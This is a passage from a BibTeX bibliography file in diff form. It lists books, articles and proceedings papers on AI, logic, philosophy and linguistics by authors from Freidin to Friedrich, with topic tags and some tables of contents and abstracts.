{nl-syntax;principles-and-parameters-syntax;} + } + +@book{ freidin:1992a, + author = {Robert Freidin}, + title = {Foundations of Generative Syntax}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;principles-and-parameters-syntax;} + } + +@inproceedings{ freitag_d:1998a, + author = {Dayne Freitag}, + title = {Toward General-Purpose Learning for Information + Extraction}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {404--408}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-skimming;machine-learning;} +} + +@incollection{ freitag_h-friedrich:1992a, + author = {Hartmut Freitag and Gerhard Friedrich}, + title = {Focusing on Independent Diagnosis Problems}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {521--531}, + address = {San Mateo, California}, + topic = {kr;diagnosis;} + } + +@article{ freksa:1992a, + author = {Christian Freksa}, + title = {Temporal Reasoning Based on Semi-Intervals}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {54}, + number = {1--2}, + pages = {199--227}, + xref = {See freksa:1996a for a correction.}, + topic = {temporal-reasoning;kr;interval-logic;} + } + +@article{ freksa:1996a, + author = {Christian Freksa}, + title = {Erratum to `Temporal Reasoning Based on Semi-Intervals'\, } , + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {387}, + xref = {Correction to freksa:1992a.}, + topic = {temporal-reasoning;kr;krcourse;} + } + +@book{ freksa-etal:1998a, + editor = {Christian Freksa and Christopher Habel and Karl F. + Wender}, + title = {Spatial Cognition: An Interdisciplinary Approach to + Representing and Processing Spatial Knowledge}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3540646035}, + topic = {spatial-reasoning;spatial-representation;cognitive-psychology;} + } + +@book{ french-etal:1978a, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + title = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + address = {Minneapolis}, + contentnote = {TC: + 1. Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein, "Introduction", pp. 3--4 + 2. Saul Kripke, "Speaker's Reference and Semantic + Reference", pp. 6--27 + 3. Keith S. Donnellan, "Speaker Reference, Descriptions, + and Anaphora", pp. 28--44 + 4. Keith S. Donnellan, "The Contingent {\it A Priori} and + Rigid Designators", pp. 45--60 + 5. Stephen Schiffer, "Naming and Knowing", pp. 61--74 + 6. Baruch A. Brody, "Kripke on Proper Names", pp. 75--80 + 7. Dennis W. Stampe, "Toward a Causal Theory of Linguistic + Representation", pp. 81--103 + 8. Jerrold J. Katz, "The Neoclassical Theory of + Reference", pp. 103--124 + 9. Hector-Neri Casta\~neda, "On the Philosophical Foundations + of the Theory of Communication", pp. 125--146 + 10. Howard K. Wettstein, "Proper Names and Referential + Opacity", pp. 147--150 + 11. Hector-Neri Casta\~neda, "The Causal and Epistemic Roles + of Proper Names in Our Thinking of Particulars", pp. 151--158 + 12. Panayot Butchvarov, "Identity", pp. 159--178 + 13. Michael Levin, "Explanation and Predication in + Grammar", pp. 179--188 + 14. David E. Cooper, "The Deletion Argument", pp. 189--194 + 15. Barbara Hall Partee, "Montague Grammar, Mental + Representations, and Reality", pp. 195--208 + 16. Richmond H. Thomason, "Home is Where the Heart + Is", pp. 209--219 + 17. Zeno Vendler, "Telling the Facts", pp. 220--232 + 18. John R. Searle, "The Logical Status of Fictional + Discourse", pp. 233--243 + 19. David Schwayder, "A Semantics of Utterance", pp. 244--259 + 20. J.O. Urmson, "Performative Utterances", pp. 260--267 + 21. W.V. Quine, "Intensions Revisited", pp. 268--274 + 22. Michael Root, "Quine's Thought Experiment", pp. 275--289 + 23. Bruce Aune, "Root on {Q}uine", pp. 290--293 + 24. Donald Davidson, "The Method of Truth in + Metaphysics", pp. 294--304 + 25. John Wallace, "Only in the Context of a Sentence + Do Words Have Any Meaning", pp. 305--325 + 26. Herbert Hochberg, "Mapping, Meaning, and + Metaphysics", pp. 326--346 + 27. Nelson Goodman, "Predicates without Properties", pp. 347--348 + 28. Wilfrid Sellars, "Hochberg on Mapping, Meaning, and + Metaphysics", pp. 349--359 + 29. Herbert Hochberg, "Sellars and Goodman on Predicates, + Properties, and Truth", pp. 360--368 + 30. Fred I. Dretske, "Referring to Events", pp. 369--378 + 31. Jaegwon Kim, "Causation, Emphasis, and + Events", pp. 379--382 + 32. David Kaplan, "Dthat", pp. 383--400 + 33. David Kaplan, "On the Logic of Demonstratives", pp. 401--412 + } , + topic = {philosophy-of-language;} + } + +@incollection{ french-etal:1978b, + author = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + title = {Introduction}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {3--4}, + address = {Minneapolis}, + topic = {philosophy-of-language;} + } + +@book{ french-etal:1979a, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + title = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + address = {Minneapolis}, + topic = {metaphysics;causality;} + } + +@book{ french-etal:1984a, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + title = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + address = {Minneapolis}, + note = {Midwest Studies in Philosophy 9.}, + contentnote = {TC: + 1. Hilary Putnam, "Is the Causal Structure of the Physical + Itself Something Physical?" + 2. Hector-Neri Castaneda, "Causes, Causity, and Strategy" + 3. Peter Unger, "Minimizing Arbitrariness: Toward a + Metaphysics of Infinitely Many Isolated Concrete + Worlds" + 4. David H. Sanford, "The Direction of Causation and the + Direction of Time" + 5. Alexander Rosenberg, "Mackie and Shoemaker on + {D}ispositions and Properties" + 6. Michael Tooley, "Laws and Causal Relations" + 7. Ewan Fales, "Causation and Induction" + 8. David S. Shwayder, "Hume Was Right, Almost, and Where He + Wasn't, {K}ant Was" + 9. Patrick Suppes, "Conflicting Intuitions about Causality" + 10. John Dupr\'e, "Probabilistic Causality Emancipated" + 11. John L. Pollock, "Nomic Probability" + 12. Ernan McMullan, "Two Ideals of Explanation in Natural + Science" + 13. Peter Achenstein, "A Type of Non-Causal Explanation" + 14. Brian Skyrms, "{EPR}: Lessons for Metaphysics" + 15. Jaegwon Kim, "Epiphenomenal and Supervenient Causes" + 16. Ernest Sosa, "Mind-Body Interaction and Supervenient + Causation" + 17. George Bealer, "Mind and Anti-Mind: Why Thinking Has No + Functional Definition" + 18. Laird Addis, "Parallelism, Interaction, and Causation" + 19. Arthur Collins, "Action, Causality and Teleological Explanation" + 20. Zeno Vendler, "Agency and Causation" + 21. Michael Devitt, "Thoughts and Their Ascription" + 22. Edward Erwin, "Establishing Causal Connections: Meta-Analysis + and Psychotherapy" + 23. William G. Lycan, "A Syntactically Motivated Theory of + Conditionals" + 24. Penelope Maddy, "How the Causal Theorist Follows a Rule" + 25. Joseph Almog, "Semantical Anthropology" + 26. Michael McKinsey, "Causality and the Paradox of Names" + 28. Fred Dretske and Berent En\c, "Causal Theories of Knowledge" + 29. Colin McGinn, "The Concept of Knowledge" + 30. James van Cleve, "Reliabiity, Justification, and the Problem + of Induction" + 31. Brian P. McLaughlin, "Perception, Causation, and + Supervenience" + 32. Chris Swoyer, "Causation and Identity" + } , + topic = {causality;} + } + +@book{ french-etal:1986a, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + title = {Studies in Essentialism}, + publisher = {University of Minnesota Press}, + year = {1986}, + address = {Minneapolis}, + ISBN = {0816615519}, + topic = {essentialism;metaphysics;} + } + +@book{ french-etal:1986b, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + title = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + address = {Minneapolis}, + contentnote = {TC: + 1. Jerry A. Fodor, "Why Paramecia Don't Have Mental + Representations", pp. 1--23 + 2. Lynne Rudder Baker, "Just What Do We Have in Mind?", pp. 25--48 + 3. Brian O'Shaughnessy, "Consciousness", pp. 49--62 + 4. Peter Unger, "Consciousness", pp. 63--100 + 5. Sydney Shoemaker, "Introspection and Self", pp. 101--120 + 6. Eddy Zemach, "Unconscious Mind or Conscious Minds?", pp. 121--149 + 7. David M. Rosenthal, "Intentionality", pp. 151--184 + 8. Michael Bratman, "Intention and Evaluation", pp. 185--189 + 9. Hugh J. McCann, "Rationality and the Range of + Intention", pp. 191--211 + 10. Myles Brand, "Intentional Acts and Plans", pp. 213--230 + 11. George Bealer, "The Logical Status of Mind", pp. 231--274 + 12. Jennifer Hornsby, "Bodily Movements, Actions, and + Intentionality", pp. 275--286 + 13. Igal Kvart, "Kripke's Belief Puzzle", pp. 287--325 + 14. Richard Foley, "Is It Possible to Have Contradictory + Beliefs?", pp. 327--355 + 15. Curtis Brown, "What Is a Belief State?", pp. 357--378 + 16. Avrun Stroll, "Seeing Surfaces", pp. 379--398 + 17. Amelie Oksenberg Rorty, "The Historicity of Psychological + Attitudes: Love is Not Love Which Alters Not + When it Alteration Finds", pp. 399--412 + 18. Robert Kraut, "Love {\em De Re}", pp. 413--430 + 19. Richard Swinburne, "The Indeterminism of Human + Actions", pp. 431--449 + 20. David Shatz, "Free Will and the Structure of + Motivation", pp. 451--482 + 21. Mark Bedau, "Cartesian Interaction", pp. 483--502 + 22. Jay F. Rosenberg, "\,`I Think': Some Reflections on {K}ant's + Paralogisms", pp. 503--530 + 23. Godfrey Vesey, "Concepts of Mind\,", pp. 531--557 + 24. Bruce Aune, "Other Minds after Twenty Years", pp. 559--574 + 25. Jerry Samet, "Concepts Troubles with {F}odor's + Nativism", pp. 575--594 + 26. Ernest LePore and Barry Loewer, "Solipsistic + Semantics", pp. 595--614 + 27. Ned Block, "Advertisement for a Semantics for + Psychology", pp. 615--678 + } , + topic = {philosophy-of-mind;} + } + +@book{ french-etal:1989a, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + title = {Contemporary Perspectives in the Philosophy of Language {II}}, + publisher = {University of Notre Dame Press}, + year = {1989}, + address = {Notre Dame}, + ISBN = {0268013748}, + topic = {philosophy-of-language;} + } + +@book{ frese-etal:1987a, + editor = {Michael Frese and Eberhard Ulich and Wolfgang Dzida}, + title = {Psychological Issues of Human-Computer Interaction in the + Work Place}, + publisher = {North-Holland Publishing Co.}, + year = {1987}, + address = {Amsterdam}, + ISBN = {0444703187 (U.S.)}, + topic = {HCI;} + } + +@incollection{ fretheim-dommelen:1999a, + author = {Thorstein Fretheim and Wim A. {van Dommelen}}, + title = {Building Context with Intonation}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {463--466}, + address = {Berlin}, + topic = {context;intonation;} + } + +@article{ freuder:1980a, + author = {Eugene C. Freuder}, + title = {On the Knowledge Required to Label a Picture Graph}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {1--17}, + acontentnote = {Abstract: + I analyze the information content of scene labels and provide a + measure for the complexity of line drawings. The Huffman-Clowes + label set is found to contain surprisingly little additional + information as compared to more basic label sets. The complexity + of a line drawing is measured in terms of the amount of local + labeling required to determine global labeling. A bound is + obtained on the number of lines which must be labeled before a + full labeling of a line drawing is uniquely determined. Methods + are provided for obtaining subsets of lines whose labeling is + sufficient to imply the labeling of the remaining lines. I + present an algorithm which combines local sensory probing with + knowledge of labeling constraints to proceed directly to a + labeling analysis of a given scene.}, + topic = {line-drawings;} + } + +@incollection{ freuder:1991a, + author = {Eugene C. Freuder}, + title = {Completeable Representations of Constraint Satisfaction + Problems}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {186--195}, + address = {San Mateo, California}, + topic = {kr;kr-course;constraint-satisfaction;} + } + +@inproceedings{ freund:1991a, + author = {Michael Freund}, + title = {A Semantic Characterization of Disjunctive Relations}, + booktitle = {Fundamentals of Artificial Intelligence. Research + International Workshop {FAIR}'91}, + year = {1991}, + pages = {72--83}, + publisher = {Springer-Verlag}, + address = {Berlin}, + note = {Lecture Notes in Artificial Intelligence 535.}, + missinginfo = {editors,check booktitle,check topic}, + topic = {belief-revision;} + } + +@article{ freund-etal:1991a, + author = {Michael Freund and Daniel Lehmann and Paul Morris}, + title = {Rationality, Transitivity, and Contraposition}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {2}, + pages = {191--203}, + acontentnote = {Abstract: + The purpose of this note is to compare the rule of Rational + Monotonicity proposed in [3] and different rules expressing some + weak forms of Transitivity and Contraposition. We present four + weak forms of Transitivity that, in preferential logic, are + equivalent to Rational Monotonicity and a weak form of + Contraposition that is strictly weaker than Rational + Monotonicity but equivalent to it in the presence of Disjunctive + Rationality. + } , + topic = {nonmonotonic-logic;model-preference;contraposition;} + } + +@article{ freund-lehmann:1991a, + author = {Michael Freund and Daniel Lehmann}, + title = {Rationality, Transitivity, and Contraposition}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {2}, + pages = {191--203}, + topic = {nonmonotonic-reasoning;} + } + +@incollection{ freund:1992a, + author = {Michael Freund}, + title = {Supracompact Inference Operations}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {59--73}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;} + } + +@techreport{ freund-lehmann:1992a, + author = {Michael Freund and Daniel Lehmann}, + title = {Nonmonotonic Inference Operations}, + institution = {Department of Computer Science, Hebrew University}, + number = {TR--92--2}, + year = {1992}, + address = {Jerusalem}, + topic = {nonmonotonic-logic;} + } + +@techreport{ freund-lehmann:1994a, + author = {Michael Freund and Daniel Lehmann}, + title = {Belief Revision and Rational Inference}, + institution = {Leibniz Center for Research in Computer Science, + The Hebrew University of Jerusalem}, + number = {TR 94--16}, + year = {1994}, + address = {Jerusalem 91904, Israel}, + topic = {belief-revision;} + } + +@article{ freund:1997a, + author = {Michael Freund}, + title = {Default Extensions: Dealing With Computer Information}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {277--288}, + topic = {nonmonotonic-reasoning;conditionals;knowledge-integration;} + } + +@article{ freund_m:1998a, + author = {Michael Freund}, + title = {Preferential Reasoning in the Perspective of {P}oole + Default Logic}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {209--235}, + topic = {default-logic;default-preferences;} + } + +@article{ freund_m:1999a, + author = {Michael Freund}, + title = {Statics and Dynamics of Induced Systems}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {1}, + pages = {103--134}, + acontentnote = {Abstract: + A collection of formulae, regarded as a set of prerequisite-free + normal defaults, generates a nonmonotonic inference relation + through its Reiter skeptical extension. The structure of the + initial set totally determines the behavior of the associated + inference relation, and the aim of this paper is to investigate + in two directions the link that exists between a set of defaults + and its induced inference relation. First, we determine the + structural conditions corresponding to the important property of + rationality. For this purpose, we introduce the notion of + stratification for a set of defaults, and prove that stratified + sets are exactly those that induce a rational inference + relation. This result is shown to have interesting consequences + in belief revision theory, as it can be used to define a + nontrivial full meet revision operator for belief bases. Then, + we adopt a dynamic point of view and study the effects, on the + induced inference relation, of a change in the set of defaults. + In this perspective, the set of defaults, considered as a + knowledge base, together with its induced inference relation is + treated as an expert system. We show how to modify the original + set of defaults in order to obtain as output a rational + relation. We propose a revision procedure that enables the user + to incorporate a new data in the knowledge base, and we finally + show what changes can be performed on the original set of + defaults in order to take into account a particular conditional + that has to retracted from or added to the primitive induced + inference relation. + } , + topic = {nonmonotonic-logic;belief-revision;default-logic;} + } + +@article{ freund_m:2000a, + author = {Michael Freund}, + title = {A Complete and Consistent Formal System for + Sortals}, + journal = {Studia Logica}, + year = {2000}, + volume = {65}, + pages = {367--381}, + topic = {sortal-quantification;} + } + +@book{ fribourg-turini:1994a, + editor = {Laurent Fribourg and Franco Turini}, + title = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + ISBN = {3-540-58792-6}, + contentnote = {TC: + 1. David A. Basin, "Logic Frameworks for Logic Programs", pp. 1--16 + 2. N. Bensaou and Irhne Guessarian, "An Extended Transformation + System for CLP Programs", pp. 17--35 + 3. Dmitri Boulanger and Maurice Bruynooghe, "Using Call/Exit + Analysis for Logic Program Transformation", pp. 36--50 + 4. J. Cook and John P. Gallagher, "A Transformation System for + Definite Programs Based on Termination Analysis", pp. 51--68 + 5. Pierre Flener and Lubos Popelmnsky, "On the Use of Inductive + Reasoning in Program Synthesis: Prejudice and + Prospects", pp. 69--87 + 6. David Gilbert and Christopher J. Hogger and Jirm + Zlatuska, "Transforming Specifications of Observable + Behaviour into Programs", pp. 88--103 + 7. Kung-Kiu Lau and Mario Ornaghi, "On Specification Frameworks + and Deductive Synthesis of Logic + Programs", pp. 104--121 + 8. Michael Leuschel, "Partial Evaluation of the `Real + Thing'\,", pp. 122--137 + 9. E. Marakakis and John P. Gallagher, "Schema-Based Top-Down + Design of Logic Programs Using Abstract Data + Types", pp. 138--153 + 10. Sophie Renault, "Generalizing Extended Execution for Normal + Programs", pp. 154--169 + 11. Chiaki Sakama and Hirohisa Seki, "Partial Deduction of + Disjunctive Logic Programs: A Declarative + Approach", pp. 170--182 + 12. Giovanni Semeraro and Floriana Esposito and Donato Malerba + and Clifford Brunk and Michael J. Pazzani, "Avoiding + Non-Termination when Learning Logical Programs: A + Case Study with FOIL and FOCL", pp. 183--198 + 13. Christine Solnon and Michel Rueher, "Propagation of + Inter-argument Dependencies in `Tuple--distributive' + Type Inference Systems", pp. 199--214 + 14. Paul Tarau and Veronica Dahl, "Logic Programming and Logic + Grammars with First-Order Continuations", pp. 215--230 + 15. Geraint A. Wiggins, "Improving the Whelk System: A + Type-Theoretic Reconstruction", pp. 231--247 + 16. Frank van Harmelen, "A Model of Costs and Benefits of + Meta-Level Computation", pp. 248--261 + 17. Jonas Barklund and Katrin Boberg and Pierangelo Dell'Acqua, + "A Basis for a Multi-Level Meta-Logic Programming + Language", pp. 262--275 + 18. Marion Mircheva, "Logic Programs with Tests", pp. 276--292 + 19. Barbara Dunin-Keplicz, "An Architecture with Multiple + Meta-Levels for the Development of Correct + Programs", pp. 293--310 + 20. Annalisa Bossi and Sandro Etalle, "More on Unfold/Fold + Transformations of Normal Programs: Preservation of + {F}itting's Semantics', pp. 311--331 + 21. Wiebe van der Hoek and John-Jules Ch. Meyer and Jan + Treur, "Formal Semantics of Temporal Epistemic + Reflection", pp. 332--352 + 22. Jan Treur, "Temporal Semantics of Meta-Level Architectures + for Dynamic Control of Reasoning", pp. 353--376 + 23. Antonio Brogi and Simone Contiero, "G\"odel as a Meta-Language for + Composing Logic Programs", pp. 377--394 + 24. Patricia M. Hill, "A Module System for + Meta-Programming", pp. 395--409 + 25. Giuseppe Attardi and Maria Simi, "Building Proofs in Context", + pp. 410--424 + 26. Fausto Giunchiglia and Alessandro Cimatti, "Introspective + Metatheoretic Reasoning", pp. 425--439 + 27. Marco Comini and Giorgio Levi and Giuliana Vitiello, "Abstract + Debugging of Logic Program", pp. 440--450 + } , + topic = {logic-programming;metaprogramming;} + } + +@article{ fridlund-etal:1990a, + author = {Alan J. Fridlund and John P. Sabini and Laura E. + Hedlund and Julie A. Schaut and Joel I. Shenker and + Matthew J. Knauer}, + title = {Audience Effects on Solitary Faces During Imagery: + Displaying to the People in your Head}, + journal = {Journal of Nonverbal Behavior}, + volume = {12}, + number = {2}, + pages = {113--137}, + year = {1990}, + topic = {facial-expression;} + } + +@article{ fridlund:1991a, + author = {Alan J. Fridlund}, + title = {Sociality of Solitary Smiling: Potentiation by an + Implicit Audience}, + journal = {Journal of Personality and Social Psychology}, + volume = {60}, + number = {2}, + pages = {229--240}, + year = {1991}, + topic = {facial-expression;} + } + +@article{ fridlund-etal:1992a, + author = {Alan J. Fridlund and Karen G. Kenworthy and Amy K. + Jaffey}, + title = {Audience Effects in Affective Imagery: Replication + and Extension to Dysphoric Imagery}, + journal = {Journal of Nonverbal Behavior}, + volume = {16}, + number = {3}, + pages = {191--212}, + year = {1992}, + topic = {facial-expression;} + } + +@article{ friedland-iwasaki:1985a, + author = {P.E. Friedland and Yumi Iwasaki}, + title = {The Concept and Implementation of Skeletal Plans}, + journal = {Journal of Automated Reasoning}, + volume = {1}, + pages = {161--208}, + year = {1985}, + missinginfo = {A's 1st names, number, specific topics}, + topic= {planning;} +} + +@incollection{ friedman_j2:1971a, + author = {Joyce Friedman}, + title = {Computational Linguistics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {718--755}, + address = {College Park, Maryland}, + topic = {nlp-survey;} + } + +@article{ friedman_j2-warren:1978a, + author = {Joyce Friedman and David S. Warren}, + title = {A Parsing Method for {M}ontague Grammars}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {3}, + pages = {347--372}, + xref = {Erratum: friedman_j2-warren:1979a.}, + topic = {Montague-grammar;parsing;nl-to-logic-mapping;} + } + +@article{ friedman_j2:1979a, + author = {Joyce Friedman}, + title = {An Unlabled Bracketing Solution to the Problem of Conjoined + Phrases in {M}ontague's {PTQ}}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {2}, + pages = {151--169}, + topic = {Montague-grammar;} + } + +@article{ friedman_j2-warren:1979a, + author = {Joyce Friedman and David S. Warren}, + title = {Erratum}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {139}, + xref = {Erratum to friedman_j2-warren:1978a}, + topic = {Montague-grammar;parsing;nl-to-logic-mapping;} + } + +@incollection{ friedman_j2-etal:1994a, + author = {Joyce Friedman and Douglas B. Moran and David S. Warren}, + title = {Evaluating {E}nglish Sentences in a Logical Model}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {535--551}, + address = {Pisa and Dordrecht}, + topic = {montague-grammar;nl-to-logic-mapping;model-construction;} + } + +@inproceedings{ friedman_jh-etal:1996a, + author = {Jerome H. Friedman and Ron Kohavi and Yeogirl Yun}, + title = {Lazy Decision Trees}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {717--724}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {decision-trees;machine-learning;} + } + +@article{ friedman_ji:1995a, + author = {Joel I. Friedman}, + title = {Towards an Adequate Definition of Distribution for + First-Order Logic}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {2}, + pages = {161--192}, + topic = {aboutness;} + } + +@article{ friedman_m1-savage:1948a, + author = {Milton Friedman and Leonard Savage}, + title = {The Utility Analysis of Choices Involving Risk}, + journal = {Journal of Political Economy}, + year = {1948}, + volume = {56}, + pages = {279--304}, + contentnote = {Uses sure-thing principle to argue for argue for + independence axiom in decision theory. I.e. For all gambles g1 + g2 g3 we have: g1 is preferred to g2 iff for all p>0 if + (g1 with prob p and g3 with prob 1-p) is preferred to + (g2 with prob p and g3 with prob 1-p).}, + topic = {decision-theory;} + } + +@article{ friedman_m2-glymour:1972a, + author = {Michael Friedman and Clark Glymour}, + title = {If Quanta Had Logic}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {16--28}, + topic = {quantum-logic;} + } + +@book{ friedman_m2:1999a, + author = {Michael Friedman}, + title = {Reconsidering Logical Positivism}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052162476-2}, + topic = {logical-positivism;history-of-philosophy;} + } + +@inproceedings{ friedman_n-halpern:1994a, + author = {Nir Friedman and Joseph Halpern}, + title = {Conditional Logics for Belief Change}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {915--921}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;conditionals;belief-revision;} + } + +@incollection{ friedman_n-halpern:1994b, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {A Knowledge-Based Framework for Belief Change, Part + {I}: Foundations}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {44--64}, + address = {San Francisco}, + topic = {belief-revision;epistemic-logic;} + } + +@incollection{ friedman_n-halpern:1994c, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {A Knowledge-Based Framework for Belief Change, Part {II}: + Revision and Update}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {190--201}, + address = {San Francisco, California}, + topic = {kr;belief-update;kr-course;} + } + +@incollection{ friedman_n-halpern:1994d, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {On the Complexity of Conditional Logics}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {202--213}, + address = {San Francisco, California}, + topic = {kr;kr-course;} + } + +@incollection{ friedman_n-halpern:1996a1, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {Belief Revision: A Critique}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {421--431}, + address = {San Francisco, California}, + xref = {Journal publication: friedman_n-halpern:1996a2.}, + topic = {belief-revision;} + } + +@article{ friedman_n-halpern:1996a2, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {Belief Revision: A Critique}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {401--420}, + xref = {Conference publication: friedman_n-halpern:1996a1.}, + topic = {belief-revision;} + } + +@unpublished{ friedman_n-halpern:1996b, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {A Qualitative {M}arkov Assumption and Its Implications + for Belief Change}, + year = {1996}, + note = {Unpublished manuscript, Computer Science, Stanford + University.}, + topic = {belief-revision;} + } + +@inproceedings{ friedman_n-koller:1996a, + author = {Nir Friedman and Daphne Koller}, + title = {Qualitative Planning under Assumptions: A Preliminary + Report}, + booktitle = {Working Notes of the {AAAI} Fall Symposium on + Learning Complex Behaviors in Adaptive Intelligent Systems}, + year = {199?}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + topic = {qdt;planning;} + } + +@article{ friedman_n-halpern:1997a, + author = {Nir Friedman and Joseph Y. Halpern}, + title = {Modeling Belief in Dynamic Systems, Part {I}: Foundations}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {2}, + pages = {257--316}, + topic = {belief-revision;epistemic-logic;conditionals;} + } + +@inproceedings{ friedman_n:1999a, + author = {Nir Friedman}, + title = {Plausibility Measures and Default Reasoning}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {reasoning-about-uncertainty;qualitative-probability; + plausibility-measures;model-preference;nonmonotonic-logic;} + } + +@book{ friedrich:1963a, + author = {Carl Joachim Friedrich}, + title = {The Philosophy of Law in Historical Perspective, + 2nd edition}, + publisher = {University of Chicago Press}, + year = {1963}, + address = {Chicago}, + topic = {philosophy-of-law;} + } + +@incollection{ friedrich_g-nejdl:1992a, + author = {Gerhard Friedrich and Wolfgang Nejdl}, + title = {Choosing Observations and Actions in Model-Based + Diagnosis/Repair Systems}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {489--498}, + address = {San Mateo, California}, + topic = {kr;diagnosis;repair-planning;} + } + +@article{ friedrich_g-etal:1999a, + author = {Gerhard 